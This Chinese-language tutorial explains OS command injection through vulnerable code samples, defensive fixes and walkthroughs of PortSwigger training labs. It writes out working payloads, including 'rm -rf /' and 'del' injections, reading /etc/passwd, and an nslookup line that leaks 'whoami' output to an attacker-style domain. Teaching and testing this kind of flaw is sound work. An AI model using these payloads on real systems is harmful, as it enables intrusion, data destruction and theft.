目录导航
什么是操作系统命令注入?
操作系统命令注入(也称为 shell 注入)是一种 Web 安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统 (OS) 命令,并且通常会完全破坏应用程序及其所有数据。很多时候,攻击者可以利用操作系统命令注入漏洞来破坏托管基础设施的其他部分,利用信任关系将攻击转向组织内的其他系统。
操作系统命令注入(OS command injection)是一个严重漏洞,允许攻击者完全控制受影响的网站和底层 Web 服务器。
当应用程序将用户数据合并到它执行的操作系统命令中时,就会出现操作系统命令注入漏洞。攻击者可以操纵数据以使他们自己的命令运行。这允许攻击者执行应用程序本身可以执行的任何操作,包括读取或修改其所有数据以及执行特权操作。
除了完全破坏 Web 服务器本身之外,攻击者还可以利用命令注入漏洞在组织的内部基础架构中进行攻击,从而可能访问 Web 服务器可以访问的任何系统。他们还可能能够在组织内建立一个持久的立足点,即使在原始漏洞得到修复后仍继续访问受感染的系统。
描述:操作系统命令注入
当应用程序将用户可控数据合并到由 shell 命令解释器处理的命令中时,就会出现操作系统命令注入漏洞。如果用户数据没有经过严格验证,攻击者可以使用 shell 元字符来修改执行的命令,并注入将由服务器执行的任意进一步命令。
操作系统命令注入漏洞通常非常严重,可能导致托管应用程序的服务器或应用程序自身的数据和功能受损。也可以将服务器用作攻击其他系统的平台。被利用的确切可能性取决于执行命令的安全上下文,以及该上下文对服务器上敏感资源的权限。
操作系统命令注入修复措施
如果可能,应用程序应避免将用户可控制的数据合并到操作系统命令中。在几乎每一种情况下,都有更安全的替代方法来执行服务器级任务,这些方法不能被操纵来执行超出预期的命令。
如果认为不可避免地将用户提供的数据合并到操作系统命令中,则应使用以下两层防御来防止攻击:
- 用户数据应经过严格验证。理想情况下,应使用特定可接受值的白名单。否则,只应接受短的字母数字字符串。应拒绝包含任何其他数据的输入,包括任何可能的 shell 元字符或空格。
- 应用程序应该使用通过名称和命令行参数启动特定进程的命令 API,而不是将命令字符串传递给支持命令链接和重定向的 shell 解释器。例如,Java API Runtime.exec 和 ASP.NET API Process.Start 不支持 shell 元字符。即使在攻击者绕过输入验证防御的情况下,这种防御也可以减轻攻击的影响。
严重性
高危
命令注入漏洞通常发生在以下情况:
1. 数据从不受信任的来源进入应用程序。
2. 数据是应用程序作为命令执行的字符串的一部分。
3. 通过执行命令,应用程序为攻击者提供了攻击者在其他情况下不会拥有的特权或能力。
许多协议和产品都有自己的自定义命令语言。虽然 OS 或 shell 命令字符串经常被发现和定位,但开发人员可能没有意识到这些其他命令语言也可能容易受到攻击。
命令注入是包装程序的常见问题。
操作系统命令注入漏洞例子
漏洞示例 1:C语言
下面的简单程序接受文件名作为命令行参数,并将文件的内容显示给用户。该程序安装为 setuid root 是因为它旨在用作学习工具,以允许培训中的系统管理员检查特权系统文件,而不赋予他们修改它们或损坏系统的能力。
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}
因为程序以 root 权限运行,所以对 system() 的调用也以 root 权限执行。如果用户指定标准文件名,则调用按预期工作。但是,如果攻击者传递了“;rm -rf /”形式的字符串,则对 system() 的调用由于缺少参数而无法执行 cat,然后继续递归删除root分区的内容。
请注意,如果 argv[1] 是一个很长的参数,那么这个问题也可能会受到缓冲区溢出 ( CWE-120 ) 的影响。
漏洞示例 2: java
以下代码来自一个管理 Web 应用程序,该应用程序旨在允许用户使用 rman 实用程序周围的批处理文件包装器启动 Oracle 数据库的备份,然后运行 cleanup.bat 脚本来删除一些临时文件。脚本 rmanDB.bat 接受一个命令行参数,该参数指定要执行的备份类型。由于对数据库的访问受到限制,因此应用程序以特权用户身份运行备份。
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
这里的问题是程序没有对从用户读取的 backuptype 参数进行任何验证。通常 Runtime.exec() 函数不会执行多个命令,但在这种情况下,程序首先运行 cmd.exe shell 以便通过一次调用 Runtime.exec() 来运行多个命令。一旦 shell 被调用,它将愉快地执行由两个 & 号分隔的多个命令。如果攻击者传递“& del c:\\dbms\\*.*”形式的字符串,则应用程序将执行此命令以及程序指定的其他命令。由于应用程序的性质,它以与数据库交互所需的特权运行,这意味着攻击者注入的任何命令也将以这些特权运行。
漏洞示例 3 :java
以下来自系统实用程序的代码使用系统属性 APPHOME 来确定安装它的目录,然后根据指定目录的相对路径执行初始化脚本。
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
上面的代码允许攻击者通过修改系统属性 APPHOME 以指向包含恶意版本的 INITCMD 的不同路径,从而以应用程序的提升权限执行任意命令。因为程序不会验证从环境中读取的值,如果攻击者可以控制系统属性 APPHOME 的值,那么他们可以欺骗应用程序运行恶意代码并控制系统。
漏洞示例 4 : c语言
以下代码是 UNIX 命令 cat 的包装,它将文件的内容打印到标准输出。它也是可注入的:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );
system(command);
return (0);
}
正常使用,输出只是请求文件的内容:
$ ./catWrapper Story.txt
When last we left our heroes...
但是,如果我们在这一行的末尾添加一个分号和另一个命令,该命令将由 catWrapper 执行而不会产生任何抱怨:
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*
如果 catWrapper 被设置为具有比标准用户更高的权限级别,则可以使用该更高权限执行任意命令。
漏洞示例5:php
此示例代码旨在获取用户名并列出该用户主目录的内容。
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
不检查 $userName 变量是否存在恶意输入。攻击者可以将 $userName 变量设置为任意操作系统命令,例如:
;rm -rf /
这将导致 $command 为:
ls -l /home/;rm -rf /
由于分号是 Unix 中的命令分隔符,操作系统会先执行 ls 命令,然后执行 rm 命令,删除整个文件系统。
另请注意,此示例代码易受路径遍历 ( CWE-22 ) 和不受信任的搜索路径 ( CWE-426 ) 攻击。
漏洞示例6: c语言
下面的简单程序接受文件名作为命令行参数,并将文件的内容显示给用户。该程序安装为 setuid root 是因为它旨在用作学习工具,以允许系统管理员在培训中检查特权系统文件,而不会赋予他们修改它们或损坏系统的能力。
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}
因为程序以 root 权限运行,所以对 system() 的调用也以 root 权限执行。如果用户指定标准文件名,则调用按预期工作。但是,如果攻击者传递了“;rm -rf /”形式的字符串,则对 system() 的调用由于缺少参数而无法执行 cat,然后继续递归删除根分区的内容。
请注意,如果 argv[1] 是一个很长的参数,那么这个问题也可能会受到缓冲区溢出 ( CWE-120 ) 的影响。
漏洞示例7:Perl
此示例是一个 Web 应用程序,旨在对用户提供的域名执行 DNS 查找。
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}
假设攻击者提供了这样的域名:
cwe.mitre.org%20%3B%20/bin/ls%20-l
“%3B” 序列解码为 “;” 字符,%20 解码为空格。然后 open() 语句将处理这样的字符串:
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
结果,攻击者执行“/bin/ls -l”命令并获取程序工作目录中所有文件的列表。输入可以替换为更危险的命令,例如在服务器上安装恶意程序。
漏洞示例8:java
下面的示例从系统属性中读取要执行的 shell 脚本的名称。
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);
如果攻击者可以控制该属性,那么他们可以修改该属性以指向危险程序。
漏洞示例9:java
在下面的示例中,使用一种方法将地理坐标从经纬度格式转换为 UTM 格式。该方法通过 HTTP 请求从用户获取输入坐标,并执行执行转换的应用程序服务器的本地程序。该方法将纬度和经度坐标作为命令行选项传递给外部程序,并将执行一些处理以检索转换结果并返回结果 UTM 坐标。
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform
// ...
}
catch(Exception e) {...}
return utmCoords;
}
但是,该方法不验证坐标输入参数的内容是否仅包括格式正确的纬度和经度坐标。如果在调用此方法之前输入坐标未经过验证,则恶意用户可以通过在坐标字符串的末尾附加“&”后跟另一个程序的命令来执行应用程序服务器本地的另一个程序。’&’ 指示 Windows 操作系统执行另一个程序。
漏洞示例10:java
以下代码来自一个管理 Web 应用程序,该应用程序旨在允许用户使用 rman 实用程序周围的批处理文件包装器启动 Oracle 数据库的备份,然后运行 cleanup.bat 脚本来删除一些临时文件。脚本 rmanDB.bat 接受一个命令行参数,该参数指定要执行的备份类型。由于对数据库的访问受到限制,因此应用程序以特权用户身份运行备份。
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
这里的问题是程序没有对从用户读取的 backuptype 参数进行任何验证。通常 Runtime.exec() 函数不会执行多个命令,但在这种情况下,程序首先运行 cmd.exe shell 以便通过一次调用 Runtime.exec() 来运行多个命令。一旦 shell 被调用,它将愉快地执行由两个 & 号分隔的多个命令。如果攻击者传递“& del c:\\dbms\\*.*”形式的字符串,则应用程序将执行此命令以及程序指定的其他命令。由于应用程序的性质,它以与数据库交互所需的特权运行,这意味着攻击者注入的任何命令也将以这些特权运行。
执行任意命令
考虑一个购物应用程序,它允许用户查看某个商品是否在特定商店中有库存。此信息可通过以下 URL 访问:
https://insecure-website.com/stockStatus?productID=381&storeID=29
为了提供股票信息,应用程序必须查询各种遗留系统。由于历史原因,该功能是通过调用带有产品和商店 ID 作为参数的 shell 命令来实现的:
stockreport.pl 381 29
该命令输出指定商品的库存状态,返回给用户。
由于应用程序没有针对操作系统命令注入实施任何防御,攻击者可以提交以下输入来执行任意命令:
& echo aiwefwlguh &
如果在参数中提交了这个输入productID
,那么应用程序执行的命令是:
stockreport.pl & echo aiwefwlguh & 29
该echo
命令只是使提供的字符串在输出中回显,并且是测试某些类型的操作系统命令注入的有用方法。该&
字符是一个 shell 命令分隔符,因此执行的实际上是三个单独的命令一个接一个。结果,返回给用户的输出是:
Error - productID was not provided aiwefwlguh 29: command not found
三行输出表明:
- 原始
stockreport.pl
命令在没有预期参数的情况下执行,因此返回了错误消息。 - 执行了注入的
echo
命令,并且在输出中回显了提供的字符串。 - 原始参数
29
作为命令执行,导致错误。
在注入的命令之后放置额外的命令分隔符&
通常很有用,因为它将注入的命令与注入点之后的任何内容分开。这降低了以下内容阻止注入命令执行的可能性。
PortSwigger Web Security Academy lab:简单的命令注入靶场练习
①先在https://portswigger.net/ 注册一个账号,然后登陆.
②在burpsuite自带浏览器(方便一会抓包操作)打开如下网址,点击Access the lab跳转到命令注入靶场:
os-command-injection/lab-simple
点开的话是这个样子的:
③我们直接点击 View details 进入靶场开始练习
④点击Check stock
⑤在burp历史记录里面查看此时的数据包.
⑥按快捷键 ctrl+r 将数据包发送到Repeater.
⑦修改数据包,在productId=1&storeId=1后面加上如下任意参数进行命令注入攻击:
|id
|cat /etc/passwd
也可以多个命令一起执行,例如:
|pwd;ls -la;uname -a;df -h
⑧其他的案例也是一样的操作方法,可以使用如下符号一一进行注入测试:
&
&&
|
||
;
换行
0x0a
\n
``
$()
一些有用的命令:
当您识别出操作系统命令注入漏洞后,执行一些初始命令以获取有关您已入侵的系统的信息通常很有用。下面是一些在 Linux 和 Windows 平台上有用的命令的摘要:
命令的目的 | Linux | Windows |
---|---|---|
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接情况 | netstat -an | netstat -an |
运行的进程 | ps -ef | tasklist |
盲操作系统命令注入漏洞
操作系统命令注入的许多实例都是盲漏洞。这意味着应用程序不会在其 HTTP 响应中返回命令的输出。仍然可以利用盲漏洞,但需要不同的技术。
考虑一个允许用户提交有关该站点的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序会生成一封包含反馈的电子邮件给站点管理员。为此,它使用mail提交的详细信息调用程序。例如:
mail -s "This site is great" -aFrom:[email protected] [email protected]
命令的输出mail
(如果有)不会在应用程序的响应中返回,因此使用echo
有效负载将无效。在这种情况下,您可以使用各种其他技术来检测和利用漏洞。
使用时间延迟检测盲操作系统命令注入
您可以使用将触发时间延迟的注入命令,允许您根据应用程序响应所需的时间确认命令已执行。该ping
命令是执行此操作的有效方法,因为它允许您指定要发送的 ICMP 数据包的数量,以及命令运行所需的时间
& ping -c 10 127.0.0.1 &
此命令将导致应用程序 ping 其环回网络适配器 10 秒。
PortSwigger Web Security Academy lab:具有时间延迟的盲操作系统命令注入靶场练习
靶场位置:
os-command-injection/lab-blind-time-delays
点击 Submit feedback
抓包修改数据
payload:
email=x||ping+-c+10+127.0.0.1||
通过重定向输出来利用盲操作系统命令注入
您可以将注入命令的输出重定向到 Web 根目录中的文件,然后您可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置提供静态资源/var/www/static
,那么您可以提交以下输入:
& whoami > /var/www/static/whoami.txt &
该>
字符将whoami
命令的输出发送到指定的文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt
以检索文件,并查看注入命令的输出。
靶场地址:
os-command-injection/lab-blind-output-redirection
应用程序执行一个包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。但是,您可以使用输出重定向来捕获命令的输出。在以下位置有一个可写文件夹:
/var/www/images/
该应用程序从该位置为产品目录提供图像。您可以将注入命令的输出重定向到此文件夹中的文件,然后使用图像加载 URL 检索文件的内容。
要解决实验室问题,请执行whoami
命令并检索输出。
点击 Submit feedback,修改email为如下payload:
||whoami>/var/www/images/ddosi.txt||
现在我们找一下上传到了哪个地方,看看有没有执行成功:
查看图片位置,看看具体上传到了哪里,以及如何读取:
证明漏洞确实存在.
使用带外 ( OAST ) 技术利用盲操作系统命令注入
您可以使用注入命令,使用 OAST 技术触发与您控制的系统的带外网络交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
此有效负载使用该nslookup
命令对指定域进行 DNS 查找。攻击者可以监视指定的查找发生,从而检测到命令被成功注入。
靶场地址:
os-command-injection/lab-blind-out-of-band
注意事项:
为了防止 Academy 平台被用来攻击第三方,我们的防火墙阻止了实验室与任意外部系统之间的交互。要解决实验,您必须使用 Burp Collaborator 的默认公共服务器:
②打开靶场,点击 Submit feedback,修改email为如下payload:
email=x||nslookup+Burp Collaborator client DNS地址||
③复制Burp Collaborator client DNS地址修改数据包提交
④点击poll now,即可查看到DNS查询记录,证明存在漏洞.
带外数据泄露的盲操作系统命令注入
带外通道还提供了一种从注入命令中提取输出的简单方法:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这将导致对包含whoami
命令结果的攻击者域进行 DNS 查找:
wwwuser.kgji2ohoyw.web-attacker.com
靶场地址:
os-command-injection/lab-blind-out-of-band-data-exfiltration
注意事项:
应用程序执行一个包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
要解决实验室问题,请执行whoami
命令并通过 DNS 查询将输出泄露到 Burp Collaborator。您需要输入当前用户的姓名才能完成实验。
为了防止 Academy 平台被用来攻击第三方,我们的防火墙阻止了实验室与任意外部系统之间的交互。要解决实验室,您必须使用 Burp Collaborator 的默认公共服务器。
②打开靶场,点击 Submit feedback,修改email为如下payload:
email=x||nslookup+`whoami
`.Burp Collaborator client DNS地址||
③复制Burp Collaborator client DNS地址修改数据包提交
④点击poll now,即可查看到DNS查询记录,DNS记录中显示了主机的用户名,证明存在漏洞.
操作系统命令注入方法+payload
多种 shell 元字符可用于执行 OS 命令注入攻击。
许多字符充当命令分隔符,允许将命令链接在一起。以下命令分隔符适用于 Windows 和基于 Unix 的系统:
&
&&
|
||
以下命令分隔符仅适用于基于 Unix 的系统:
;
换行符(0x0a或\n或者直接换行)
在基于 Unix 的系统上,您还可以使用反引号或美元字符在原始命令中执行注入命令的内联执行:
`注入命令`
$(注入命令)
请注意,不同的 shell 元字符具有细微的不同行为,这些行为可能会影响它们是否在某些情况下工作,以及它们是否允许带内检索命令输出或仅对盲目利用有用。
有时,您控制的输入出现在原始命令的引号中。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前 终止引用的上下文(使用"
或者'
)。
如何防止操作系统命令注入攻击
到目前为止,防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码调用操作系统命令。几乎在每种情况下,都存在使用更安全的平台 API 实现所需功能的替代方法。
如果认为使用用户提供的输入调用操作系统命令是不可避免的,则必须执行强输入验证。有效验证的一些示例包括:
- 根据允许值的白名单进行验证。
- 验证输入是否为数字。
- 验证输入仅包含字母数字字符,不包含其他语法或空格。
永远不要试图通过转义 shell 元字符来清理输入。在实践中,这太容易出错并且容易被熟练的攻击者绕过。
你可能感兴趣的文章:
转载请注明出处及链接